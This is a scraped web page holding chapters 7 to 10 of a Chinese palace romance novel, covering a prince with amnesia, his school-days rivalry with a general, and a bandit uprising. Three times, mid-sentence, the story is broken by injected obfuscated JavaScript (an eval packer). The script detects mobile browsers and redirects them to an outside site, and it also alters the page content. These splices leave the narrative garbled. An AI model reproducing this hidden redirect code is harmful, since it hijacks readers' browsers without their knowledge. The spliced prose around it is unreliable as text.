“谁没府邸?”秦牧走过来刚好听见这句话,“淮屿吗?谁说他没有府邸,镇北大将军府跟我家就隔着两条街。我家厨子经常跟他家厨子讨教西北菜和江南菜的做法。” 孟祈安猛然起身,揪着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟祈安一想到谢淮屿脖子上那俩红印就委屈得想哭,心口像是被捅了个大洞,冷风嗖嗖直灌。 许新卓:“王松清,你够了。殿下失忆已经很心烦了,你莫要再添乱。”他对孟祈安说,“殿下,你只要记得,淮屿对你好是事实。将军夫人的事肯定另有隐情……你要不亲口问问他?” 孟祈安:“还问什么?我昨日一提,他就生了气,分明就是心虚。” 秦牧问了句大实话:“他跟殿下你心虚什么?” 孟祈安一窒。 秦牧觉得安王失了忆怪有趣的,逗他道:“所以殿下到底在难过什么?” 孟祈安想了半天,纳闷道:“对啊,我在难过什么?”但难过的心情不是假的,只是……为何难过? 许新卓给了秦牧个“你别欺负人了,当心想起来之后找你算账”的眼神。 王松清:“殿下是瞧见谢淮屿寻快活,却约束着你,所以不平衡?” 孟祈安一拍手:“对!你说得对!” 王松清:“那还不简单,殿下也去寻快活,心里自然就平衡了。” 7. 第 7 章 孟祈安小时候仗着皇帝皇后皇兄的疼爱,简直无法无天。 他身体还孱弱,三天两头不是发热就是咳嗽,打不得骂不得,简直就是善习堂一霸。 他有好几个伴读,吴玉宣秦牧王松清都在其中,先皇又嫌他们都是高官公子不会照顾人,硬是破例准他带侍从,所以他身边总是围绕着一群人,天天众星捧月似的,太傅看见他就头疼。 拿弹弓射鸟、踩着几层书案粘知了、往太傅袖子里塞毛毛虫、鞭炮炸恭桶、在同学作业上乱画、拿太傅收藏的书画折纸、上房揭瓦、下地挖洞……每日新奇的恶作剧层出不穷,宫里就属善习堂去营缮司报修的次数多,工部尚书都对善习堂有意见了。太傅不敢想象,九皇子若是身体康健,整个善习堂恐怕都得被他拆了。 可偏生九皇子聪慧无比,过目不忘,理解力强,学什么都很快,门门功课都是第一。太傅对他简直又爱又恨,总说他若是好好学,将来定能有一番成就。 就是这样一个混世魔王,在十岁时遇上了他的克星。 谢淮屿是清明节的前两天来善习堂报到的。 那日清晨下着雨,皇宫一角的善习堂仿佛笼罩在一片云雾之中。本就春困,下雨皇子少爷们就更睁不开眼了。 晨读时候,王太傅说今日有一位新学生,学子们顿时精神了。 他叫谢淮屿进来的时候,外面放晴了。 孟祈安坐在第一排中间的位置,险些被拨云而来的阳光晃了眼。 他曾经在洞房那日与谢淮屿说过,无论过多少年,他都不会忘记那天。 镇北大将军独子穿着一席青衫,背上背着包袱和一把长剑,没有带伞,即使身上湿了,也如同雨后山林中的青松挺拔俊逸。 孟祈安托着腮看愣了,旁座王松清推推他,他才装模作样的打了个哈欠。 一低头看见谢淮屿脚边滴滴答答,不一会儿就聚了一条小溪流。 王太傅:“谢淮屿,善习堂乃是学习先贤圣哲、礼制经史的地方,须得仪容整洁。你这般……不整洁,有辱斯文,辱没了圣贤教诲!” 谢淮屿是从建宁关赶来的,他入城已是凌晨,在宫门口匆匆换了衣服便来到善习堂。他没有油纸伞,况且他也从未穿过这种好几层的软布衣衫,不知道它竟然如此吸水。 他拧了拧袍角,四下看看,没找到能擦地的东西,于是哐地一声将长剑放在地上,打开包袱,倒出里面的东西,拿包袱布擦地。 王松清:“你、你这是做什么?要擦地找下人来擦就好了!” 孟祈安见他包袱里都是干粮、水囊,还有几颗奇怪的石头。 谢淮屿利落地收拾干净,将长剑背起,问道:“我坐哪里?” 王太傅第一次遇上如此不把他放在眼里的学子,问道:“你的剑是怎么回事?兵刃不可入宫,更不可进入做学问的善习堂!” 话音未落,银光一闪,寒锋已横在王太傅眼前。 “你、你要干什么!?”王太傅吓了一跳,失态地向后仰倒,若不是月牙凳撑着,他恐怕要摔倒在地。 谢淮屿双手捧着剑,有礼道:“太傅大人,我的剑并没有开刃,只做习武之用。宫门口的侍卫长查验过准许我携带入宫的。” 王松清扶起父亲,厉声道:“宫中规矩不能破,若是开了先河,今天你带宝剑,明天他带弓弩,那还读不读书了?你若想显摆你的剑术,骑射课再拿出来!” 孟祈安也吓了一跳,他还从未这么近距离看过兵刃。那宝剑虽未开刃,但依旧冒着寒气,看着就很沉,他很好奇谢淮屿广袖中露出的手腕那么纤细,是怎么拿起来的? 谢淮屿看了眼咄咄逼人的王松清,没有理会他,目光看向王太傅。 王太傅整理了一下衣襟,恢复镇定道:“松清说得对,你的剑不可进这讲堂的门。” 谢淮屿想了想,将长剑收入鞘中,走到外面,将包袱和长剑都放在了院中。 “抱歉太傅大人,我第一次入宫,不知道你的规矩,以后不会了。”他很认真地跟王太傅道了歉。 王太傅:“罢了罢了,你且入座,散学后来找我,我给你说说宫中的规矩。” 吃了午膳,孟祈安照旧去睡午觉,结果被谢淮屿练剑的声音吵醒了,他本想跟谢淮屿吵一架的,但对方转手塞了支梨花在他手里。 “谢礼。” 孟祈安:“你!你在我院中、折我的花送我算什么谢礼!”他上午还道谢淮屿能屈能伸,现在却怀疑谢淮屿是不是脑子有问题? 谢淮屿认真地看着他的眼睛问:“那你想要什么谢礼?” 孟祈安身份尊贵,极少有人会如此盯着他看,有些不自在地说道:“我不要谢礼,你也不许来我院中扰我清净。” 谢淮屿叹了口气道:“我来严华城的路上耽搁了,还没来得及回将军府就来善习堂报到,善习堂每月只放三日假,我暂且没地方习武,你能不能通融一下?” 孟祈安:“与我何干?不许就是不许。” 谢淮屿:“你叫什么名字?” 孟祈安:“我是九皇子。” 谢淮屿:“嗯,九皇子,你叫什么名字?” “大胆!我的名字岂是你能打听的?!” 谢淮屿:“那我该称呼你什么?” 许新卓他们都称呼孟祈安殿下或者九殿下,还是头一次有人问该怎么称呼他。 让他叫自己殿下,这话孟祈安有点说不出口,矫情半天说道:“我叫孟祈安。” 谢淮屿唤道:“祈安。” 孟祈安更不自在了,说道:“你要习武,每日不能超过半个时辰,因为我最少要睡半个时辰的午觉。” 谢淮屿微笑道:“谢谢祈安。” 孟祈安指着他放在石桌上的包袱问:“你包袱里为何装有石头?背来背去不沉吗?” 谢淮屿:“是我在建宁关认识的小孩送的,让我带着,不要忘了他们。”他拆开包裹,将石头拿出来摆在窗台上,目光柔和道,“都是他们的心意。” 石头奇形怪状,有大有小,但一看就不是随便捡的,而是精心挑选过的,每个都丑得别具一格。 “你喜欢哪块?送你。”谢淮屿说道。 孟祈安从小见过的都是好东西,玉石珠宝翡翠金银,全是精致完美的,这几块石头入不了他的眼,见谢淮屿如此宝贝,说道:“我不要,自己留着吧。我要休息了,你赶紧离开!” 后面几日相安无事,谢淮屿遵守约定,每日按照孟祈安的作息习武,散学之后就去王太傅那里学规矩。 他刻苦认真,王太傅也一改对他的印象,经常称赞他学得快。 骑射更是如此,他将门出身,又在北境边关长大,最善骑射,善习堂学子无一能出其右。就连中军的几位将军也称赞他虎父无犬子。一时间,他俨然成了善习堂最受太傅老师欣赏的学生。 一日,王松清从太傅房中出来,迎面遇上了谢淮屿。 谢淮屿见他神色紧张、脸色发白,问道:“你怎么了?不舒服吗?” 王松清是来偷考题的,他几次考试都输给了谢淮屿,心中不服,知道此次考试是皇帝亲自出题,考题就在父亲书房,于是来偷看,好早做准备,不想却被谢淮屿撞了个正着。 他心虚得厉害,以为谢淮屿的关心是在嘲讽他,恶狠狠道:“你假惺惺地作甚,就算你发现了又如何,我是太傅公子,去父亲书房无可厚非,就算你说出去也不会有人相信!” “……”谢淮屿,“你在说什么?”他懒得跟王松清废话,与他擦身而过,明日休沐,他要跟着中军陆将军去校场,所以今日着急回他那从没回去过的将军府。 休沐只有一日,结束后便是考试。 此次考试,谢淮屿拔得头筹。 孟祈安听到这个消息一愣,他从来都是第一的。于是散了学就跑去了皇后那里。 正巧父皇和皇兄都在,且正在讨论此次善习堂的考试。 父皇的考题是“邦本”,除了谢淮屿和孟祈安,所有学子都答的是帝为邦本,皇权天授。孟祈安写的是民为邦本,本固邦宁。而谢淮屿没写任何圣言先哲,写了一个故事。 边防军一支三十人的小队在一次抵御罗傲国进犯的战役中,因为风雪被困在了云山城外三十里的荒郊野岭,迷失了方向。云山城的百姓发现边防军,回到城中喊人,百姓们自发组织将他们接入城中安顿,使他们在暴风雪中活了下来。五年前,边防军曾在饥荒时为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147457|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云山城百姓提供了粮食,帮助他们渡过难关。他在文章中说,边防军打仗是为了百姓能安居乐业,所以学子读书是为了百姓,大臣廉洁奉公是为了百姓,皇帝更应为百姓着想。 他全文没用一个生僻华丽的辞藻,却描写了边防军小队在风雪中的艰难处境和被百姓营救后的绝处逢生,令人动容。 孟祈安听完半天没说话。其实他的文章也是这个意思,但他身居宫廷之中,一心只读圣贤书,难以体会百姓劳苦,如今皇兄读完,有了很多感慨,对谢淮屿其人更是钦佩。 转过天来回到善习堂,一进屋就听见里面吵吵嚷嚷。 大家都围着王松清不知道在说什么。 见他来了,七嘴八舌道:“九殿下,你来得正好!我就说此次考试谢淮屿一个野小子土包子怎么能拔得头筹,还压过九殿下一头,原来是舞弊!松清前日看见他从王太傅书房出来,定是去偷看考题了!” 孟祈安:“不可能吧……” 王松清:“怎么不可能,九殿下,我听父亲读了他的文章,他定是看了考题之后,知道陛下殿下都喜欢别出心裁,于是放弃了不擅长的写法,搞些花样出来博得圣心!没想到他竟是这般心机深沉的人。” “你们在说什么?”谢淮屿出现在门口,他的身后站着王太傅。 众人顿时安静了下来。 王太傅脸色不好,说道:“我确实发现书房内有人翻动的痕迹,淮屿,你有什么可说的?” 谢淮屿看向王松清。 所有人都等着听谢淮屿的回答,没人注意到王松清脸色煞白。 谢淮屿:“……” 王太傅:“谢淮屿!回答我的问题!” 谢淮屿:“我不知道。但不是我做的。”他如此回答,却是坐实了流言。 王太傅气得吹胡子瞪眼,但是他没有证据证明谢淮屿确实偷看了考题。 “没人承认,那就罚所有人抄写十遍弟子规!” 学子们一片哀嚎,全都记恨上了谢淮屿。 上午散学后,谢淮屿去孟祈安的院子,一进院门,就看见孟祈安站在院中:“你以后不要来了。” 谢淮屿:“为何?” 孟祈安:“我以前敬你勤奋上进,是个好对手,现在我看不起你。” 谢淮屿明白他在说什么,问他道:“你也信那诬告流言?” 孟祈安其实想说只要谢淮屿解释解释,或者说出翻看考题的人,他就相信。但谢淮屿没有解释,而是笑了下,说:“我也看不起你。” 后来两人见面就掐,九殿下将他所有的手段都用来对付谢淮屿,谢淮屿凭着一身好功夫能躲过大半恶作剧,他不敢也不能对这魔头动手,因为他发现就算是他不还手,就是轻轻挡一下,那病秧子都有可能跌倒,他怕给他爹添麻烦,只能能躲就躲。 到后来,善习堂所有人都能借着帮九殿下出气,欺负欺负谢淮屿。 谢淮屿忍了快一年,直到吴玉宣翻他的书袋,将里面他珍藏的石头扔进了水池。 、 大将军无意中在房中翻出了这几块丑丑的石头,当年孟祈安那傻小子竟然想都没想就跳下水去捞,结果高烧不退,第四天才好转。 那时的他不明白,这人明明处处与自己作对,为何还会去替他捞石头?是脑袋有病吗? 后来他才在与孟祈安的相处中明白,孟祈安或许有这样那样的纨绔毛病,但心地善良,古道热肠。他本人后来给的理由是,你是我的人,只能我欺负。 院使给安王把完脉出来,他起身道:“有劳院使,情况如何?” 院使眉头不解道:“殿下的脉象依旧如常,但失忆之症却没有好转,这不是好迹象。我们行医最怕的就是摸不到缘由,若是殿下的脉象之前不好,还有好转的可能,但……老夫只能尽力医治。” 送走院使,谢淮屿发现他从没想过若是孟祈安永远想不起来怎么办。 他要一直隐瞒两人的关系吗? 他与孟祈安并非天生断袖,只是相处之后相知相爱,但若孟祈安想不起他们之间的感情怎么办? 若是孟祈安爱上别人怎么办? 思绪铺天盖地袭来,让大将军竟然患得患失起来。 8. 第 8 章 很快,大将军的患得患失好了。 因为他被下了逐客令。 孟祈安:“大将军还是回将军府吧。”安王面无表情地说。 他的淡定高冷是装的。 谢淮屿当然知道他是装的,但问题的关键不在他是不是装的,而是他为何要装。 “我会让季青把你的东西收拾好搬去将军府。”孟祈安不太敢看他,但还是强装镇定地说,“多谢大将军近日来的照料。” 今日是陆云旗离京往雄州的日子,谢淮屿要去相送,看看时间差不多了,言简意赅道:“我不走。” 孟祈安:“大将军有自己的府邸,却整日在我府里吃睡,晚上再回府与夫人相会,拿我王府当客栈吗?” 谢淮屿:“祈安,你误会了。我没有别人。” 孟祈安:“你有没有别人与我何干?限你今日搬离王府……” “啊!” 他话音未落,就被人扛了起来。“谢淮屿你干什么?放我下来!” 谢淮屿一路扛着他出院门,将他放在马背上。 季青小跑着捧上大氅。 孟祈安想下来,却被谢淮屿拿大氅一裹,怒道:“谢淮屿你有病啊!” 谢淮屿翻身上马,将他圈在怀里,握住缰绳,对季青说:“午膳不回来吃了。” 季青:“得嘞!” 孟祈安在围观的侍从侍女府兵的脸上看到了姨母笑,有种被全府背叛了的感觉,将怒火一股脑儿发泄在谢淮屿身上:“你到底要干什……” 谢淮屿一夹马肚子,他没坐稳,撞进谢屿怀里。 “起码告诉我去哪儿吧?”他骑术不好,但大将军的骑术是一等一的,再加上马是千里良驹,快步起来也十分稳当。 谢淮屿:“放你一个人总胡思乱想的,我不放心。今日跟着我吧。” 陆云旗带了一支十人小队,从北城门出发。同行的还有孟祈生。 “……多谢大将军前来相送。”他抱拳道。 谢淮屿:“陆叔叔,雄州匪患穷凶极恶,您多加小心。另外,雄州太守把着州军,您即使有圣旨在身,恐他也不会轻易放权,我已去信达州节镇,必要时他会出兵相助。” 陆云旗爽朗笑道:“大将军都替我考虑妥当了,此番定能清剿匪患,在京中等我的好消息吧。” 他看向与孟祈生说话的安王,小声道:“安王殿下可真是性情大变啊。我先前见过他两次,睿智从容稳重儒雅,可谓翩翩浊世佳公子。现在怎么瞅着这么委屈,像个……受气包?” 谢淮屿忍俊不禁:“失忆,性子也跟着回到小时候了。” 另一边,牵着马的孟祈安抱怨孟祈生不来看他,与他生分,又是与八哥好一阵依依惜别。 送走了亲友,谢淮屿上马,再次将人圈在怀里。 孟祈安:“我要坐后面。” 谢淮屿:“为何?” 孟祈安:“坐前面没有男子气概。” 谢淮屿于是与他换了个位置。 孟祈安搂着他的腰,脸贴在他背上:“??”怎么男子气概依旧是他的?生气! 一定是这大氅的缘故。 他双肩一抖,大氅掉落在马屁股上。 谢淮屿单手擎缰,回手给他拉起来,又披在肩上。 孟祈安又是一抖。挑衅地看他。 谢淮屿:“……” 孟祈安被系成了个粽子。 谢淮屿带白皮粽子去了校场。 孟祈安摔失忆了之后,谢淮屿就不去副城了,中军将士有三千在严华城内的军营,每月换防,他便去位于城西的校场练兵。 孟祈安被安排在英武楼五层,两个十几岁的小兵端了午饭上来,说道:“殿下,都是军中的粗茶淡饭,您别介意。” “嗯嗯,不好看但味道好,我们都爱吃!” 孟祈安见虽然种类不多,盘子碗都是粗陶的,但是闻起来就很香:“无妨无妨。” 味道确实不错,朴实无华却令人吃得踏实满足。他吃了两口就听见外面有喊号的声音,不拘小节地端着碗走到檐廊眺望。英武楼下方的校场上纵横整齐排列三个方阵,西边的方阵几百人正在依次射箭,东侧的则挥舞大刀,练习劈斩。中间的方阵足有千余人,每人手持长枪,呼声震天。 他们最前方,一人身穿玄袍,手持玄铁长枪,猎猎寒风中发丝共披风飞扬。忽而一声清啸裂空,枪锋寒光乍现,贴着那人腰侧刺出,坚硬的枪杆划出游龙般的弧度,竟给人柔软的错觉,长枪回旋,刚柔并济,横扫如蛟龙甩尾,突刺如流星坠地,下劈如泰山压顶。一人舞出了横扫千军的气势。 小兵感慨道:“厉害啊!大将军这几招,我们又得学上大半年了……” 孟祈安与有荣焉道:“他从小就厉害。” 小兵对视而笑,表情羞涩。 等孟祈安吃完了,谢淮屿才上楼来,用他的碗筷捡他吃剩的吃了。 孟祈安托腮看着他吃饭,说道:“第一次来校场,见识了我大承中军军纪严明、英勇无敌。大将军也是武艺高强英武不凡,是我这手无缚鸡之力的文弱书生比不了的。” 谢淮屿:“你不是第一次来。” 孟祈安:“哦?” 谢淮屿:“英武楼上的牌匾和楹联都是你提的。”他指指墙上挂着的军纪三十六条,“这也是你拟的。” “原来我给你干了这么多苦力。”孟祈安伸出左手,“付钱。” 谢淮屿从怀里摸出一支腊梅,放在他手中,说道:“谢礼。” 腊梅树长在校场角落里,他什么时候去摘的?孟祈安脸上微微发烫,和那支梨花一样,拿也不是不拿也不是,不知道该怎么办了。 他捏着花坐在马背上,脑子里乱乱的。 胡思乱想之际,已然到了一处高门大院。 门匾上书【镇北大将军府】。 孟祈安:“你带我来你家干什么?我要回去了。” 谢淮屿却拉住他的袖子,道:“跟我进去看看,省得你老胡思乱想。” 孟祈安:“不去不去!” “我扛你?” “算了,我自己走。” 他百般不愿磨磨蹭蹭地走进将军府,除了每个热情地跟他打招呼的下人外,他没有遇到一个女主人。 没有将军夫人,也没有侍妾,连侍女都没有。 狗都是公的。 一丝脂粉气都没有,硬朗得堪比军营。 “我好久没回将军府了。”谢淮屿说道,“也真的没有别人。” 孟祈安:“那你脖子上的红痕哪儿来的?”他一指墙边路过的狗,“它啃的?” 狗:“?” 谢淮屿哭笑不得,随便扯了一句:“许是什么蚊虫咬的。” “大冬天的哪儿来的蚊虫!” “你如此在意这个……”谢淮屿先前一步,两人之间的距离骤然拉近,“是为何?” 孟祈安缩了下脖子,说:“……我是看看哪儿有蚊虫,好替你除掉……” 谢淮屿一愣,旋即唇边勾起一抹坏笑,凑到他耳边,说了一个字:“怂。” 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谢淮屿为他擦背的手一顿,问道:“你是如何答的?” 孟祈安:“还能如何答?当然是拒绝了。我有王妃了,这女子入府,王妃定会伤心。”他盯着温泉池腾起的雾气说,“我很早就决定此生只会和心爱之人在一起,一心一意对他,绝不背叛。我既然和王妃成了亲,那就一定不负他。” 谢淮屿捏紧布巾的手松了开,心中情愫涌动,升起与孟祈安共赴云雨的冲动。 “淮屿挚友,你看这鸭子!”孟祈安手中捧着被他拿小石头雕出来的澡豆,“像不像?” 谢淮屿体内那股欲丨火立马被浇灭了。太幼稚了,实在下不去手。 “你都不记得王妃的模样了,就不怕他长得歪瓜裂枣,或者性子蛮横无理?”谢淮屿继续给他擦洗。 孟祈安:“不可能,我的眼光能有错?” 谢淮屿心中有了希望,想借机跟他说清楚,于是问道:“那万一是个男子呢?” 孟祈安:“哈哈哈哈,挚友你莫要与我说笑,我怎么会娶一个男子为妻?我是失忆了又不是疯了?再说,喜欢男的还是女的,我自己还不知道吗?” 、 安王殿下在家里写信给王妃。他拿起毛笔蘸了蘸墨汁,卡壳了。 “季青。”他问,“王妃叫什么名字?” 这难不倒季青,就怕王爷问及,早就想好了答案:“我听您经常唤王妃乳名,小九。” 孟祈安:“哪个九?” 季青:“数九的九。王妃是九月九日生人。” 孟祈安:“我也排行第九,我与王妃甚是有缘。” 他提笔写下了【亲亲小九】四个字,笔锋一顿,说:“九月九?那不是跟我挚友一天生辰?” 季青:“哈!这不巧了吗?” 孟祈安:“是挺巧的。”他继续写,满脑子想的都是谢淮屿:【亲亲小九,见字如面。归省何如?尊堂安否?王府内诸事皆安,勿念。致书与小九,惟问归期。夫君。】 他美滋滋地写上落款,吹吹信纸上的墨,说道:“本王着实是位体贴的夫婿。只是不知王妃收到信是否会开心。” 他将信纸叠好,放入信封,吩咐道:“速将此信寄出,快马加鞭交至王妃手中。” 季青:“得嘞!”说完拿着信出门左拐送入双清别院。 王妃读完信,心想不急于回信,十天后再写也来得及。 但是十天后,雄州传来战事吃紧的军报。 9. 第 9 章 皇帝龙颜震怒,暖阁内一众权臣无不瑟瑟发抖。 “雄州匪患……只是匪患,竟让大承的州军打了败仗!”关顺帝怒不可遏,砸了手边的砚台,“雄州州军一万人竟拿他们没办法?一群废物!” 丞相:“陛下息怒,雄州地处偏僻,匪患人数众多,且常年扎根于此,熟悉地形,有天然的优势。” 工部尚书:“是啊陛下,而且雄州州军只是暂时失利,无法攻破匪患的驻地,并不算打了败仗。” 皇帝怒道:“三千二百多人战死!四百多人失踪!这不算打了败仗,非得全军覆没才算吗!?”他感觉憋闷,捂住胸口。 “陛下!!” 周常赶紧扶皇帝坐下。 皇帝闭着眼睛缓了几息,胸口闷痛才缓解。推开周常的手道:“陆云旗的密报何在?” 周常捧给他,他转手扔在地上说:“丞相念。” 丞相诚惶诚恐地捡起来,打开粗略一看已然大惊失色,犹豫半晌念道:“臣启陛下:雄州太守刘景总揽兵权,剥民脂膏,暗通草莽,竟泄军机于贼寇,致州军误中奸计,惨遭屠戮。臣为州军节镇,罪当万死,虽身首异处亦难赎其咎。今州军困守雄山绝谷,暂得喘息之机,臣月来星驰羽檄一十八道,以达天听,复遣使告急于达州节镇,然音讯杳然,恐为宵小所劫。臣拟厉兵秣马五日,待重整兵马,与贼寇决一死战。若陛下得接羽檄,乞发神兵解围。臣陆云旗绝笔。” “孤只收到一封……”皇帝沉痛道,“雄州太守勾结贼寇……”他一想起来胸口又隐隐发疼,“孤信了他刘景,却没有信八弟……” 丞相:“谁能想到这刘景狗胆包天,竟然做出如此大逆不道之事!应将他绳之于法,诛九族以警世人!” 一直没有说话的谢淮屿突然开口道:“陛下,臣请前往雄州率军剿匪并缉拿刘景。” 皇帝还是不想轻易让他去,毕竟匪患只是草莽,即使人数再多,再穷凶极恶,地方军也能打赢,只不过是时间长短的问题。但罗傲等国是外患,虽然互有盟誓,但其狼子野心依旧路人昭昭,不可小觑。谢淮屿若是来开严华城,不仅会让北境的处境陷入被动,别有用心之人如果将雄州失利之事宣扬出去,他大承军的脸往哪儿放? 丞相道出圣意:“微臣以为,既然陆节镇向达州求援,那陛下不如下令让达州州军前去支援,一来两州距离近,可解燃眉之急,二来大将军也可不必离开严华城,免得别有用心之人散播流言,诋毁州军,令民心不稳。” 皇帝点头:“传孤的旨意,达州节镇即日起带五千州兵前往雄州支援剿匪。” 众臣领命,告退。 谢淮屿留下了,待众人离开后说道:“陛下,陆将军离京之前,臣曾经去信给达州节镇大臣冯伟,请他在必要时施以援手。雄州匪患山林距离达州不过两百里,即使陆将军的求援羽檄被截获,他们也应该有消息。但却迟迟没有发兵……” “陆将军是我爹的旧部,从军二十载,在驱逐罗傲的战役中立下赫赫战功,用兵作战经验丰富,而且为人勇猛却谨慎,臣认为,雄州匪寇恐怕已成规模。” 皇帝脸色骤变。 匪患说起来不能算是小事,毕竟历史上不少朝代是被草莽起义推翻的。刘景是太守,官拜四品,如果只是伙同贼寇搜刮民脂,贪赃枉法,不会冒上杀头之罪欺君。 思及州军败退,皇帝道:“你的意思是,贼寇已有军队,刘景他……要造反?” 事发突然,他一时想不起刘景这个人。在脑中仔细搜寻后忆起,刘景是他登基那年中的状元,之前在京中任国子监丞,后来因勤勉聪颖,又有太傅举荐,做了户部郎中,两年后到雄州任太守,也就是十年前。 周常拿来卷宗。 刘景祖籍就是雄州,家中贫困,出身低微,能靠读书一路考取功名并最终高中状元,绝对算的上是祖坟冒青烟了。他任雄州太守十年没有升迁或平调,确实也算是时间很长。此人十分低调,政绩属于中流,既不出彩也挑不出毛病,雄州在大承十三州中也不是最富庶最特别的州府,就连进京述职,他也不显山不露水,从不与人结交…… 谢淮屿请命道:“陛下,臣想去看看。” 皇帝沉默下来,负手而立。此事事关重大,若说朝堂上有谁可以全权信任,那便只有忠心耿耿为大承稳固江山基业的谢家了。片刻后道:“孤已下旨达州增援,但孤实在放心不下,淮屿,你只能孤身前往,且不能暴露行踪。” 谢淮屿:“遵命,臣即刻启程。” 、 安亲王府。 孟祈安上次梦游之后,谢淮屿就让太医院使换了药方,最近孟祈安睡得很安稳,总是能一觉到天亮。 他醒来后,东方的天刚泛起鱼肚白,窗外偶有鸟叫。 他身边没人,床上空荡荡的。 略显冷清。 啊,我自己的床,我自己睡,要什么热闹!真是的。 谢淮屿最近都没跟他睡,本来没什么的,但他又梦见谢淮屿了。 他梦见他总是伙同许新卓、秦牧、吴玉宣、王松清去欺负人家。吴玉宣休沐时去城外打猎,逮了条蛇偷偷带来善习堂,趁太傅没来装在笼子里到处炫耀,舞到哪位公子少爷面前,哪位吓得吱哇乱叫,毫无仪态,王松清更是直接跳起来尖叫着跑了出去。 孟祈安见那蛇又粗又壮,浑身黄黑交错,拿根草逗弄,问:“有毒吗?” 吴玉宣:“没毒的,若是有毒,我可不敢拿来玩。我哥说就是普通的菜花蛇。” “给我玩玩。”孟祈安打开笼子门,那蛇就探头要出来。他拿去谢淮屿的席案,让蛇爬进了谢淮屿的书袋里。 吴玉宣等人均是一脸坏笑,说九殿下真是聪明,让他谢淮屿成天眼高于顶,一定要把他吓得屁滚尿流! 谢淮屿晨练之后来的,额头有一层薄汗,一进讲堂就发现不对劲,因为所有人都装作若无其事地偷瞄他。 被“欺负”了好几个月的谢淮屿:“……”这也太明显了…… 他拿起书袋,察觉重量不对,直接捏紧袋口,走到孟祈安席前。 “你要干嘛?”孟祈安问道。 谢淮屿直接连书带蛇一股脑倒在他桌上。 “!!”大蛇一出来,孟祈安周围的学子都一蹦三尺高。孟祈安倒是淡定,但见那蛇吐着血红的信子也不由得白了脸。 谢淮屿:“你放的?” 孟祈安吞了吞口水,不承认不是君子,点了点头。 谢淮屿慢条斯理地收拾书本,任由那蛇四处爬,爬到了孟祈安膝头。 虽说吴玉宣说没毒,但孟祈安仿佛看见了它口中的长牙。 那蛇好像特别喜欢孟祈安,爬到了他的胸口,抬着头与它对视。 菜花蛇性子暴烈凶狠,缩了下脖子眼瞅着做出了攻击的姿态,没一个人敢过来救一救九殿下。 谢淮屿一伸手,准确无误地在蛇要咬孟祈安前捏住了蛇头。 “怂。”他说。 “谢淮屿!你在干什么!?”王太傅进屋就看见这惊悚的一幕,“怎么会有蛇?” 谢淮屿看了一眼孟祈安,又看到角落里吴玉宣手里的笼子,说道:“不知道从哪儿溜进来的,学生刚好抓住了,王太傅……”他举着蛇走到太傅面前,问,“您看要扔出去吗?” 王太傅吓得连连后退,说道:“赶紧拿走赶紧拿走,交给侍卫处理了!” 中午散了学,孟祈安拦住了谢淮屿。 谢淮屿懒得理他,想绕过他离开。 孟祈安又拦住他。 谢淮屿:“……你想怎样?” 孟祈安:“你为何不说?” 谢淮屿:“说什么?说你们拿蛇到善习堂,想吓唬我,反倒自己差点被蛇咬了?” 孟祈安:“……” 谢淮屿:“我没你那么幼稚。” 孟祈安:“你说谁幼稚!?” 谢淮屿:“除了你还能有谁?与其成天捉弄我,不如干点正事。” 孟祈安本来想说他没在太傅面前拆穿他们,是君子所为,打算跟他和解的,听他这么说怒从心起。“谢淮屿——!臭小子!”他朝谢淮屿挥拳,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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书是季青找来的,其实谢淮屿小时候画的,就是为了给孟祈安强健体魄用的,当年效果奇佳,现在依然管用。 早上他起床之后又练了两遍,出了不少汗,正要喝口水继续练第三遍,一双白嫩小手递来了手帕:“安王殿下,擦擦汗吧。” 眼见那鹅黄的绣花帕子就要往头上招呼,孟祈安往后一躲,诧异道:“你谁啊!?” 年轻漂亮的姑娘眼中闪过一丝受伤,说道:“殿下当真是贵人多忘事,小女子是皇后娘娘的表妹,贺家嫡女,闺字知良。” 孟祈安想起了她,问道:“贺姑娘怎么会在王府?怎么不让人通报一声?” 贺知良:“殿下恕罪。是皇后娘娘让奴家来伺候殿下的。” 孟祈安:“本王不需要人伺候,姑娘还是回去吧。”说完丢下她离开了。 可谁知,用过晚膳他读书的时候,这姑娘又来了。 手里端着一碗不知道是什么的东西,盈盈款款地走来。 孟祈安猜肯定是燕窝。 “殿下,这是奴家特意为殿下炖的燕窝……” 孟祈安:“本王不喝。”说完拿着书走了。 他走出去就看见季青站在门外,质问道:“你怎么不拦着她?” 季青欲哭无泪:“殿下,她是皇后娘娘下旨让来的,谁敢拦?” 孟祈安:“罢了,我明日再进宫去。让皇后娘娘收回懿旨。这都什么跟什么啊!真是的!” 结果皇后称病根本不见他,对他的请求也直接让宫女给拒绝了:“你王府那么大,就当收了个侍女,让她住下吧。你若是不让她住下,本宫还有表妹五六七八个,让她们全都住进你的王府。” 孟祈安简直无语,他这位皇嫂真能干的出来。 他不敢把皇后的表妹当侍女,只好给她找了个离的最远的院子安排住下,并叫侍从看好,不让她来自己寝室。 安王殿下想着谢淮屿的脸心道:如此安排,王妃回来也能说得清楚。 不管怎样,我得给小九守男德。 10. 第 10 章 孟祈安自己在王府里无聊,让季青去找几本谢淮屿的话本来瞧瞧。 季青很快去街上找了几本公子郎君们爱看的回来。 